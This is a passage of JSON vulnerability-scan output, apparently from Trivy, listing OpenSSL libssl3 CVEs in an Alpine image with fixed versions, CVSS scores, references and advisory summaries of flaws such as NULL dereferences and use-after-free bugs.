"https://github.com/openssl/openssl/commit/6ced0fe6b10faa560e410e3ee8d6c82f06c65ea3", "https://github.com/openssl/openssl/commit/ce39170276daec87f55c39dad1f629b56344429e", "https://github.com/openssl/openssl/commit/d0071a0799f20cc8101730145349ed4487c268dc", "https://linux.oracle.com/cve/CVE-2025-15467.html", "https://linux.oracle.com/errata/ELSA-2026-50081.html", "https://nvd.nist.gov/vuln/detail/CVE-2025-15467", "https://openssl-library.org/news/secadv/20260127.txt", "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-15467.json", "https://ubuntu.com/security/notices/USN-7980-1", "https://www.cve.org/CVERecord?id=CVE-2025-15467" ], "PublishedDate": "2026-01-27T16:16:14.257Z", "LastModifiedDate": "2026-10-15T02:17:23.44Z" }, { "VulnerabilityID": "CVE-2025-69421", "PkgID": "libssl3@3.3.5-r0", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssl3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "4587120bb4626f4e" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.6-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-69421", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:edb0ecb85604101e48620a57b582aad5151c7217799c38318a944bfafa4045af", "Title": "openssl: OpenSSL: Denial of Service via malformed PKCS#12 file processing", "Description": "Issue summary: Processing a malformed PKCS#12 file can trigger a NULL pointer\ndereference in the PKCS12_item_decrypt_d2i_ex() function.\n\nImpact summary: A NULL pointer dereference can trigger a crash which leads to\nDenial of Service for an application processing PKCS#12 files.\n\nThe PKCS12_item_decrypt_d2i_ex() function does not check whether the oct\nparameter is NULL before dereferencing it. When called from\nPKCS12_unpack_p7encdata() with a malformed PKCS#12 file, this parameter can\nbe NULL, causing a crash. The vulnerability is limited to Denial of Service\nand cannot be escalated to achieve code execution or memory disclosure.\n\nExploiting this issue requires an attacker to provide a malformed PKCS#12 file\nto an application that processes it. For that reason the issue was assessed as\nLow severity according to our Security Policy.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the PKCS#12 implementation is outside the OpenSSL FIPS module boundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "cbl-mariner": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 1, "rocky": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:1473", "https://access.redhat.com/security/cve/CVE-2025-69421", "https://bugzilla.redhat.com/2430375", "https://bugzilla.redhat.com/2430376", "https://bugzilla.redhat.com/2430377", "https://bugzilla.redhat.com/2430378", "https://bugzilla.redhat.com/2430379", "https://bugzilla.redhat.com/2430380", "https://bugzilla.redhat.com/2430381", "https://bugzilla.redhat.com/2430386", "https://bugzilla.redhat.com/2430387", "https://bugzilla.redhat.com/2430388", "https://bugzilla.redhat.com/2430389", "https://bugzilla.redhat.com/2430390", "https://bugzilla.redhat.com/show_bug.cgi?id=2430375", "https://bugzilla.redhat.com/show_bug.cgi?id=2430376", "https://bugzilla.redhat.com/show_bug.cgi?id=2430377", "https://bugzilla.redhat.com/show_bug.cgi?id=2430378", "https://bugzilla.redhat.com/show_bug.cgi?id=2430379", "https://bugzilla.redhat.com/show_bug.cgi?id=2430380", "https://bugzilla.redhat.com/show_bug.cgi?id=2430381", "https://bugzilla.redhat.com/show_bug.cgi?id=2430386", "https://bugzilla.redhat.com/show_bug.cgi?id=2430387", "https://bugzilla.redhat.com/show_bug.cgi?id=2430388", "https://bugzilla.redhat.com/show_bug.cgi?id=2430389", "https://bugzilla.redhat.com/show_bug.cgi?id=2430390", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11187", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-15467", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-15468", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-15469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66199", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69418", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69420", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69421", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22795", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22796", "https://errata.almalinux.org/9/ALSA-2026-1473.html", "https://errata.rockylinux.org/RLSA-2026:1473", "https://github.com/advisories/GHSA-w9rv-xc8m-cmqp", "https://github.com/openssl/openssl/commit/3524a29271f8191b8fd8a5257eb05173982a097b", "https://github.com/openssl/openssl/commit/36ecb4960872a4ce04bf6f1e1f4e78d75ec0c0c7", "https://github.com/openssl/openssl/commit/4bbc8d41a72c842ce4077a8a3eccd1109aaf74bd", "https://github.com/openssl/openssl/commit/643986985cd1c21221f941129d76fe0c2785aeb3", "https://github.com/openssl/openssl/commit/a2dbc539f0f9cc63832709fa5aa33ad9495eb19c", "https://linux.oracle.com/cve/CVE-2025-69421.html", "https://linux.oracle.com/errata/ELSA-2026-50081.html", "https://nvd.nist.gov/vuln/detail/CVE-2025-69421", "https://openssl-library.org/news/secadv/20260127.txt", "https://ubuntu.com/security/notices/USN-7980-1", "https://ubuntu.com/security/notices/USN-7980-2", "https://www.cve.org/CVERecord?id=CVE-2025-69421" ], "PublishedDate": "2026-01-27T16:16:34.437Z", "LastModifiedDate": "2026-06-17T10:00:40.683Z" }, { "VulnerabilityID": "CVE-2026-28387", "PkgID": "libssl3@3.3.5-r0", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssl3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "4587120bb4626f4e" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.7-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28387", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:99c366d85517356aa22c664cbe29627356fb3af9b640213c4af6b452ca2a0bd6", "Title": "openssl: OpenSSL: Arbitrary code execution due to use-after-free in DANE TLSA authentication", "Description": "Issue summary: An uncommon configuration of clients performing DANE TLSA-based\nserver authentication, when paired with uncommon server DANE TLSA records, may\nresult in a use-after-free and/or double-free on the client side.\n\nImpact summary: A use after free can have a range of potential consequences\nsuch as the corruption of valid data, crashes or execution of arbitrary code.\n\nHowever, the issue only affects clients that make use of TLSA records with both\nthe PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate\nusage.\n\nBy far the most common deployment of DANE is in SMTP MTAs for which RFC7672\nrecommends that clients treat as 'unusable' any TLSA records that have the PKIX\ncertificate usages. These SMTP (or other similar) clients are not vulnerable\nto this issue. Conversely, any clients that support only the PKIX usages, and\nignore the DANE-TA(2) usage are also not vulnerable.\n\nThe client would also need to be communicating with a server that publishes a\nTLSA RRset with both types of TLSA records.\n\nNo FIPS modules are affected by this issue, the problem code is outside the\nFIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 1, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "V3Score": 3.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28387", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/openssl/openssl/commit/07e727d304746edb49a98ee8f6ab00256e1f012b", "https://github.com/openssl/openssl/commit/258a8f63b26995ba357f4326da00e19e29c6acbe", "https://github.com/openssl/openssl/commit/444958deaf450aea819171f97ae69eaedede42c3", "https://github.com/openssl/openssl/commit/7a4e08cee62a728d32e60b0de89e6764339df0a7", "https://github.com/openssl/openssl/commit/ec03fa050b3346997ed9c5fef3d0e16ad7db8177", "https://nvd.nist.gov/vuln/detail/CVE-2026-28387", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28387", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:20.7Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28388", "PkgID": "libssl3@3.3.5-r0", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssl3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "4587120bb4626f4e" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.7-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28388", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:49ca44ccedce941507690c83022d6f0e0904c03d8c1fdc4ccc7f4c8d95fe37fa", "Title": "openssl: OpenSSL: Denial of Service due to NULL pointer dereference in delta CRL processing", "Description": "Issue summary: When a delta CRL that contains a Delta CRL Indicator extension\nis processed a NULL pointer dereference might happen if the required CRL\nNumber extension is missing.\n\nImpact summary: A NULL pointer dereference can trigger a crash which\nleads to a Denial of Service for an application.\n\nWhen CRL processing and delta CRL processing is enabled during X.509\ncertificate verification, the delta CRL processing does not check\nwhether the CRL Number extension is NULL before dereferencing it.\nWhen a malformed delta CRL file is being processed, this parameter\ncan be NULL, causing a NULL pointer dereference.\n\nExploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in\nthe verification context, the certificate being verified to contain a\nfreshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and\nan attacker to provide a malformed CRL to an application that processes it.\n\nThe vulnerability is limited to Denial of Service and cannot be escalated to\nachieve code execution or memory disclosure. For that reason the issue was\nassessed as Low severity according to our Security Policy.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28388", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/openssl/openssl/commit/59c3b3158553ab53275bbbccca5cb305d591cf2e", "https://github.com/openssl/openssl/commit/5a0b4930779cd2408880979db765db919da55139", "https://github.com/openssl/openssl/commit/602542f2c0c2d5edb47128f93eac10b62aeeefb3", "https://github.com/openssl/openssl/commit/a9d187dd1000130100fa7ab915f8513532cb3bb8", "https://github.com/openssl/openssl/commit/d3a901e8d9f021f3e67d6cfbc12e768129862726", "https://nvd.nist.gov/vuln/detail/CVE-2026-28388", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28388", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:20.863Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28389", "PkgID": "libssl3@3.3.5-r0", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssl3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "4587120bb4626f4e" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.7-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28389", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:f82fe2544df44856b82396c0ceb649e10a698cebdee6e66b38da2a5358bb4405", "Title": "openssl: OpenSSL: Denial of Service vulnerability in CMS processing", "Description": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyAgreeRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is\nprocessed, the optional parameters field of KeyEncryptionAlgorithmIdentifier\nis examined without checking for its presence. This results in a NULL\npointer dereference if the field is missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28389", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/advisories/GHSA-7x88-9hgc-69gf", "https://github.com/openssl/openssl/commit/16cea4188e0ea567deb4f93f85902247e67384f5", "https://github.com/openssl/openssl/commit/785cbf7ea3b5a6f5adf0c1ccb92b79d89c35c616", "https://github.com/openssl/openssl/commit/7b5274e812400cacb6f3be4c2df5340923fa807f", "https://github.com/openssl/openssl/commit/c6725634e089eb2b634b10ede33944be7248172a", "https://github.com/openssl/openssl/commit/f80f83bc5fd036bc47d773e8b15a001e2b4ce686", "https://nvd.nist.gov/vuln/detail/CVE-2026-28389", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28389", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.03Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28390", "PkgID": "libssl3@3.3.5-r0", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssl3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "4587120bb4626f4e" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.7-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28390", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:830a1de54fa9080f67504c8839eae70d249db4587451fac7eeeb4eb677490833", "Title": "openssl: OpenSSL: Denial of Service due to NULL pointer dereference in CMS EnvelopedData processing", "Description": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyTransportRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyTransportRecipientInfo with\nRSA-OAEP encryption is processed, the optional parameters field of\nRSA-OAEP SourceFunc algorithm identifier is examined without checking\nfor its presence. This results in a NULL pointer dereference if the field\nis missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22312", "https://access.redhat.com/errata/RHSA-2026:22313", "https://access.redhat.com/security/cve/CVE-2026-28390", "https://bugzilla.redhat.com/2456314", "https://bugzilla.redhat.com/show_bug.cgi?id=2456314", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28390", "https://errata.almalinux.org/9/ALSA-2026-22313.html", "https://errata.rockylinux.org/RLSA-2026:22312", "https://github.com/openssl/openssl/commit/01194a8f1941115cd0383bfa91c736dd3993c8bc", "https://github.com/openssl/openssl/commit/2e39b7a6993be445fddb9fbce316fa756e0397b6", "https://github.com/openssl/openssl/commit/af2a5fecd3e71a29e7568f9c1453dec5cebbaff4", "https://github.com/openssl/openssl/commit/ea7b4ea4f9f853521ba34830cbcadc970d2e0788", "https://github.com/openssl/openssl/commit/fd2f1a6cf53b9ceeca723a001aa4b825d7c7ee75", "https://linux.oracle.com/cve/CVE-2026-28390.html", "https://linux.oracle.com/errata/ELSA-2026-50345.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-28390", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28390", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.19Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-45447", "PkgID": "libssl3@3.3.5-r0", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssl3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "4587120bb4626f4e" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.7-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45447", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:d42ac3b7098743c784632a3bb92fe51235b863f0c2950a6082a09b27b3bd92d5", "Title": "openssl: Heap Use-After-Free in OpenSSL PKCS7_verify()", "Description": "Issue summary: A specially crafted PKCS#7 or S/MIME signed message could\ntrigger a use-after-free during PKCS#7 signature verification.\n\nImpact summary: A use-after-free may result in process crashes, heap\ncorruption, or potentially remote code execution.\n\nWhen processing a PKCS#7 or S/MIME signed message, if the SignedData\ndigestAlgorithms field is present as an empty ASN.1 SET, OpenSSL may\nincorrectly free a caller-owned BIO during PKCS7_verify(). A subsequent\nuse of the BIO by the calling application results in a use-after-free\ncondition.\n\nIn the common case this occurs when the application later calls\nBIO_free() on the BIO originally passed to PKCS7_verify(). Depending\non allocator behavior and application-specific BIO usage patterns, this\nmay result in a crash or other memory corruption. In some application\ncontexts this may potentially be exploitable for remote code execution.\n\nApplications that process PKCS#7 or S/MIME signed messages using OpenSSL\nPKCS#7 APIs may be affected. Applications using the CMS APIs for this\nprocessing are not affected.\n\nThe FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "julia": 3, "oracle-oval": 2, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25237", "https://access.redhat.com/errata/RHSA-2026:25239", "https://access.redhat.com/errata/RHSA-2026:26275", "https://access.redhat.com/errata/RHSA-2026:26319", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:34102", "https://access.redhat.com/errata/RHSA-2026:35869", "https://access.redhat.com/errata/RHSA-2026:36215", "https://access.redhat.com/errata/RHSA-2026:36217", "https://access.redhat.com/errata/RHSA-2026:39009", "https://access.redhat.com/errata/RHSA-2026:39012", "https://access.redhat.com/errata/RHSA-2026:39981", "https://access.redhat.com/errata/RHSA-2026:44438", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:58563", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:66524", "https://access.redhat.com/security/cve/CVE-2026-45447", "https://bugzilla.redhat.com/2481898", "https://bugzilla.redhat.com/show_bug.cgi?id=2481879", "https://bugzilla.redhat.com/show_bug.cgi?id=2481880", "https://bugzilla.redhat.com/show_bug.cgi?id=2481881", "https://bugzilla.redhat.com/show_bug.cgi?id=2481882", "https://bugzilla.redhat.com/show_bug.cgi?id=2481884", "https://bugzilla.redhat.com/show_bug.cgi?id=2481885", "https://bugzilla.redhat.com/show_bug.cgi?id=2481887", "https://bugzilla.redhat.com/show_bug.cgi?id=2481890", "https://bugzilla.redhat.com/show_bug.cgi?id=2481891", "https://bugzilla.redhat.com/show_bug.cgi?id=2481892", "https://bugzilla.redhat.com/show_bug.cgi?id=2481893", "https://bugzilla.redhat.com/show_bug.cgi?id=2481894", "https://bugzilla.redhat.com/show_bug.cgi?id=2481896", "https://bugzilla.redhat.com/show_bug.cgi?id=2481897", "https://bugzilla.redhat.com/show_bug.cgi?id=2481898", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34180", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34181", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42764", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42767", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42768", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42769", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42770", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45445", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45446", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45447", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-7383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9076", "https://errata.almalinux.org/9/ALSA-2026-44438.html", "https://errata.rockylinux.org/RLSA-2026:25239", "https://github.com/advisories/GHSA-f684-cpcq-j565", "https://github.com/openssl/openssl/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/openssl/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/openssl/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/openssl/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/openssl/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://github.com/openssl/security/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/security/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/security/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/security/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/security/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://linux.oracle.com/cve/CVE-2026-45447.html", "https://linux.oracle.com/errata/ELSA-2026-50379.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-45447", "https://openssl-library.org/news/secadv/20260609.txt", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45447.json", "https://ubuntu.com/security/notices/USN-8414-1", "https://ubuntu.com/security/notices/USN-8414-2", "https://www.cve.org/CVERecord?id=CVE-2026-45447" ], "PublishedDate": "2026-06-09T17:17:19.277Z", "LastModifiedDate": "2026-09-18T13:18:26.343Z" }, { "VulnerabilityID": "CVE-2026-84782", "PkgID": "libssl3@3.3.5-r0", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssl3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "4587120bb4626f4e" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.7-r2", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-84782", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:0b12b4c2dfe8abbcb6c979978c685e070048c74a890f05e87fe2f6360bcaa4f8", "Title": "openssl: compat-openssl: openssl: Information disclosure via DTLS handshake retransmission", "Description": "Issue summary: The DTLS retransmission logic does not correctly handle\na handshake message write that is suspended part-way through.\nThe retransmitted message can be read past the message buffer and\nthe retransmission overwrites the internal state the suspended write\nneeds to resume correctly.\n\nImpact summary: The retransmitted message can disclose a heap memory\nto the peer as plaintext handshake data or cause a crash and a Denial\nof Service when the read reaches an unmapped memory region.\n\nCWE: CWE-125: Out-of-bounds Read\n\nDescription: DTLS handshake messages can be written out in multiple\nfragments, and a write can suspend mid-message (returning WANT_WRITE)\nif the underlying transport temporarily cannot accept more data. While\nsuch a write is suspended, the DTLS retransmission timer may\nindependently fire and ask the retransmission logic to resend an\nearlier, already-acknowledged-as-sent message from its retransmit\nqueue.\n\nThe retransmission logic reused the same internal buffer and position\ntracking as the message that was still being written, without\nresetting the position back to the start of the message being\nretransmitted. As a result the retransmission was read starting from\nwherever the 